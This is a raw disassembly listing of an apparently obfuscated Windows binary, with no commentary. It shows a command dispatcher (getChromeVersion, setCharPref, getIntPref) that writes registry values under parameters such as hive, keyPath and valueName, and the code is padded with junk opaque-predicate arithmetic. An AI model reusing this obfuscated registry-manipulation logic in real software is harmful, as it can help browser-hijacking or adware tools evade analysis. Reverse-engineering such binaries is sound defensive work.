mov dword [rsp + 0x208], ecx
nop
cmp ecx, ebx
jge 0x140063376
mov eax, ebx
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x208], ecx
jmp 0x140063360
mov ebx, ecx
mov dword [0x1401c3d80], ecx
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x678], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400ce684
mov r12, rax
mov qword [rsp + 0x658], rax
lea ecx, [rbx + 2]
lea eax, [rbx + 1]
imul ecx, eax
imul ecx, ebx
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 1
jne 0x140063411
mov eax, 0x51eb851f
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ebx, edx
add ebx, 0x7b
movsxd rcx, ebx
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov qword [rsp + 0xf58], rax
mov rcx, rax
call fcn.1400cebfc
test r13, r13
je 0x140063f62
test r12, r12
je 0x140063f62
mov r8, r13
lea rdx, [rsp + 0x88]
call fcn.1400677c0
test al, al
je 0x140063f62
mov r8, r12
lea rdx, [rsp + 0xa8]
call fcn.1400677c0
test al, al
je 0x140063f62
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x458], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r13
mov rcx, r13
call fcn.140061f00
mov r8d, dword [0x1401c3d80]
imul r8d, r8d
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
mov eax, dword [0x1401c5710]
mov ecx, 0x4b90f7b6
cmp r8d, 8
cmove eax, ecx
mov dword [0x1401c5710], eax
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x818], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r12
mov rcx, r12
call fcn.140061f00
mov r8d, dword [0x1401c3d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 9
jne 0x14006351d
mov dword [rsp + 0x32c0], edi
mov dword [rsp + 0x3e90], edi
mov dword [rsp + 0x1180], edi
mov r13, qword [rsp + 0x408]
mov rbx, qword [r13 + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0x9b8], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xd48], rcx
mov edx, 0x5c
call fcn.1400d0438
mov rcx, rax
mov qword [rsp + 0x9c8], rax
test rax, rax
jne 0x140063561
mov ecx, esi
jmp 0x140063572
mov rax, qword [rbx]
mov qword [rsp + 0x1040], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xb8]
call fcn.1400274d0
nop
mov rax, qword [r13 + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x9d8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xd58], rcx
call fcn.140002410
mov qword [rsp + 0x9e8], rax
add rax, 0x18
mov qword [rsp + 0x158], rax
mov r9, qword [r13 + 0x40]
add r9, 0x2cc
mov qword [rsp + 0x2c0], r9
mov r8d, dword [0x1401c3d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xc
jne 0x14006366e
mov ecx, edi
mov dword [rsp + 0x278], ecx
nop word [rax + rax]
mov eax, 0x532ae21d
imul r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xc5
mov eax, r8d
sub eax, edx
cmp eax, 0x6e
je 0x140063668
mov eax, r8d
or eax, 0xfffffff2
add r8d, eax
mov dword [0x1401c3d80], r8d
inc ecx
mov dword [rsp + 0x278], ecx
mov eax, r8d
imul eax, r8d
cmp ecx, eax
jg 0x140063668
jmp 0x140063620
mov dword [0x1401c3d80], ecx
mov edx, dword [r9]
lea rcx, [rsp + 0x5430]
call fcn.140061b10
mov qword [rsp + 0xf78], rax
cmp qword [rax + 0x18], 0x10
jb 0x140063690
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7f8]
call fcn.1400030b0
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x748]
call fcn.14001a660
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1f8]
call fcn.14000fc80
nop
mov rcx, qword [rsp + 0x748]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063705
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063736
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5448], 0x10
jb 0x14006374e
mov rcx, qword [rsp + 0x5430]
call fcn.1400cdaa0
mov qword [rsp + 0x5448], 0xf
mov qword [rsp + 0x5440], rdi
mov byte [rsp + 0x5430], 0
mov r8d, dword [0x1401c3d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0x11
jne 0x1400637c3
mov ecx, r15d
mov dword [rsp + 0x218], ecx
cmp ecx, r8d
jge 0x1400637bd
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x218], ecx
jmp 0x1400637a5
mov dword [0x1401c3d80], ecx
mov rax, qword [rsp + 0x2c0]
mov edx, dword [rax]
lea rcx, [rsp + 0x53f0]
call fcn.140061b10
mov qword [rsp + 0x9f8], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400637ec
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x868]
call fcn.1400030b0
mov rbx, rax
lea r8, [0x140152518]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x758]
call fcn.14001a660
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1e8]
call fcn.14000fc80
nop
mov rcx, qword [rsp + 0x758]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063861
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x868]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063892
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5408], 0x10
jb 0x1400638aa
mov rcx, qword [rsp + 0x53f0]
call fcn.1400cdaa0
mov qword [rsp + 0x5408], 0xf
mov qword [rsp + 0x5400], rdi
mov byte [rsp + 0x53f0], 0
mov rcx, qword [rsp + 0x2c0]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x5410]
call fcn.140061b10
mov qword [rsp + 0xd68], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400638f4
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x808]
call fcn.1400030b0
mov rbx, rax
lea r8, [0x1401524d8]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x768]
call fcn.14001a660
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d8]
call fcn.14000fc80
nop
mov rcx, qword [rsp + 0x768]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063969
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x808]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x648], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006399a
mov rdx, qword [rsp + 0x648]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5428], 0x10
jb 0x1400639b2
mov rcx, qword [rsp + 0x5410]
call fcn.1400cdaa0
mov qword [rsp + 0x5428], 0xf
mov qword [rsp + 0x5420], rdi
mov byte [rsp + 0x5410], 0
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x158]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140063d42
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x468], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov r12, qword [rsp + 0x778]
mov qword [rsp + 0x20], r12
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140063d42
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140063d42
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x688], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x658]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140063d42
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0xb8]
mov rcx, r13
call fcn.140067920
mov r8d, dword [0x1401c3d80]
mov eax, r8d
imul eax, r8d
imul eax, r8d
and eax, 0x8000000f
jge 0x140063b10
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xa
jne 0x140063b5b
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rdx, r8d
mov eax, 4
mul rdx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov qword [rsp + 0xa08], rax
mov rcx, rax
call fcn.1400cebfc
mov rcx, rbx
call fcn.1400ce600
mov rcx, r12
call fcn.1400ce600
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r14, r14
je 0x140063b8d
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], si
mov ecx, dword [0x1401c3d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub r8d, eax
cmp r8d, 0xb
jne 0x140063bec
lea ecx, [r8 - 7]
call fcn.1400ce278
mov rbx, rax
mov qword [rsp + 0x1050], rax
call fcn.1400ce478
mov dword [rbx], eax
mov dword [0x1401c3d80], eax
mov rcx, rbx
call fcn.1400cdaa0
nop
mov rcx, qword [rsp + 0x1d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x850], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063c1d
mov rdx, qword [rsp + 0x850]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x668], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063c4e
mov rdx, qword [rsp + 0x668]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x788], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063c7f
mov rdx, qword [rsp + 0x788]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x158]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x440], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063cb0
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x450], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063ce1
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x460], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063d12
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x470], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067628
mov rdx, qword [rsp + 0x470]
jmp 0x14006761f
test r14, r14
je 0x140063d56
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x1d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x480], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063d87
mov rdx, qword [rsp + 0x480]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x490], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063db8
mov rdx, qword [rsp + 0x490]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063de9
mov rdx, qword [rsp + 0x4a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x158]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063e1a
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063e4b
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063e7c
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063ead
mov rdx, qword [rsp + 0x4e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063edb
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x140063ef3
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x500], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063f3d
mov rdx, qword [rsp + 0x500]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov rdi, qword [rsp + 0x40]
jmp 0x140067770
test r14, r14
je 0x140063f76
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063fa7
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063fd8
mov rdx, qword [rsp + 0x520]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064006
mov rdx, qword [rsp + 0x530]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x14006401e
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x540], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064068
mov rdx, qword [rsp + 0x540]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov rdi, qword [rsp + 0x40]
jmp 0x140067770
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140064304
call fcn.140061bd0
test al, al
mov eax, dword [0x1401c3d80]
jne 0x1400640bd
dec eax
mov dword [0x1401c3d80], eax
test r14, r14
je 0x140067628
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xc
jne 0x140064138
mov ecx, 0x28
call fcn.1400cd108
mov r15, rax
mov qword [rsp + 0xa18], rax
mov ebx, edi
mov dword [rsp + 0x184], ebx
cmp ebx, 0xa
jge 0x140064126
call fcn.1400ce478
mov ecx, eax
add ecx, dword [0x1401c3d80]
movsxd rax, ebx
mov dword [r15 + rax*4], ecx
inc ebx
jmp 0x140064102
mov eax, dword [r15 + 0x24]
mov dword [0x1401c3d80], eax
mov rcx, r15
call fcn.1400cebfc
lea rcx, [rsp + 0x550]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edx, dword [0x1401c3d80]
lea ecx, [rdx + 2]
lea eax, [rdx + 1]
imul ecx, eax
imul ecx, edx
and ecx, 0x8000000f
jge 0x140064167
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 5
jne 0x140064199
mov ecx, edi
mov dword [rsp + 0x1a0], ecx
movsxd rax, ecx
cmp rax, 0x1b4
jae 0x140064199
mov eax, dword [rsp + rax*4 + 0x58c0]
imul eax, eax, 0xc2
add edx, eax
mov dword [0x1401c3d80], edx
inc ecx
jmp 0x14006416e
mov qword [rsp + 0x210], rdi
mov rcx, qword [rsp + 0x550]
mov qword [rsp + 0x210], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x210], rdx
lea rcx, [rsp + 0x230]
call fcn.1400020d0
nop
mov dword [rsp + 0x104], edi
cmp edi, 8
jge 0x140064276
lea rcx, [rsp + 0x220]
call fcn.1400020d0
nop
movsxd rax, edi
movzx r8d, byte [rsp + rax + 0x210]
lea rdx, str._.2x
lea rcx, [rsp + 0x220]
call fcn.140011fd0
mov rdx, qword [rsp + 0x220]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x478], r8d
lea rcx, [rsp + 0x230]
call fcn.140010740
nop
mov rcx, qword [rsp + 0x220]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064268
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edi, dword [rsp + 0x104]
inc edi
jmp 0x1400641d8
mov rcx, qword [rsp + 0x230]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x798], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xd78], rax
test rax, rax
jne 0x1400642a0
call fcn.1400024a0
mov qword [r14 + 8], rax
mov eax, 8
mov word [r14], ax
mov eax, dword [0x1401c3d80]
imul eax, eax
and eax, 0x8000000f
jge 0x1400642c4
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xb
jne 0x1400642d4
call fcn.1400ce478
mov dword [0x1401c3d80], eax
mov rcx, qword [rsp + 0x230]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067628
mov rdx, qword [rsp + 0x570]
jmp 0x14006761f
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140064397
lea rdx, [rsp + 0x3b8]
mov rcx, qword [r13 + 0x40]
call fcn.140061ce0
nop
test r14, r14
je 0x140064367
mov rcx, qword [rsp + 0x3b8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x488], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa28], rax
test rax, rax
jne 0x14006435a
call fcn.1400024a0
mov qword [r14 + 8], rax
mov eax, 8
mov word [r14], ax
mov rcx, qword [rsp + 0x3b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067628
mov rdx, qword [rsp + 0x580]
jmp 0x14006761f
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140064493
lea rdx, [rsp + 0x2d0]
mov rcx, qword [r13 + 0x40]
call fcn.140061d30
nop
test r14, r14
je 0x1400643fe
mov rcx, qword [rsp + 0x2d0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x698], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x1048], rax
test rax, rax
jne 0x1400643f1
call fcn.1400024a0
mov qword [r14 + 8], rax
mov eax, 8
mov word [r14], ax
mov r8d, dword [0x1401c3d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 6
jne 0x140064463
mov r15d, 1
mov dword [rsp + 0x1a8], r15d
nop dword [rax]
cmp r15d, r8d
jge 0x14006445c
mov eax, r8d
cdq
idiv r15d
inc r15d
add r15d, edx
mov dword [rsp + 0x1a8], r15d
jmp 0x140064440
mov dword [0x1401c3d80], r15d
mov rcx, qword [rsp + 0x2d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067628
mov rdx, qword [rsp + 0x590]
jmp 0x14006761f
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
je 0x140067028
lea rdx, str.getIntPref
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
je 0x140067028
lea rdx, str.setCharPref
lea rcx, [rsp + 0x48]
call fcn.140003510
test eax, eax
jne 0x140064ab7
mov ecx, dword [0x1401c3d80]
imul ecx, ecx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
mov eax, dword [rsp + 0x1060]
cmp ecx, 0xa
cmove eax, edi
mov dword [rsp + 0x1060], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa38], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xd88], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa48], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xfa0], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa58], rax
lea rdx, [0x1401525d0]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0xd98], rax
cmp byte [rax + 8], 4
jne 0x140067628
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x240], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa68], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0xf98], rax
cmp rax, r12
je 0x1400648d1
mov r8d, dword [0x1401c3d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xc
jne 0x140064640
inc r8d
mov dword [0x1401c3d80], r8d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xa78], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x890], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa88], rdx
lea rcx, [rsp + 0x370]
call fcn.1400030b0
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x240], rbx
mov ecx, dword [0x1401c3d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 0xf
jne 0x1400646d6
call fcn.1400ce478
mov dword [0x1401c3d80], eax
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x370]
call fcn.140003510
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x240], rbx
mov rcx, qword [rsp + 0x370]
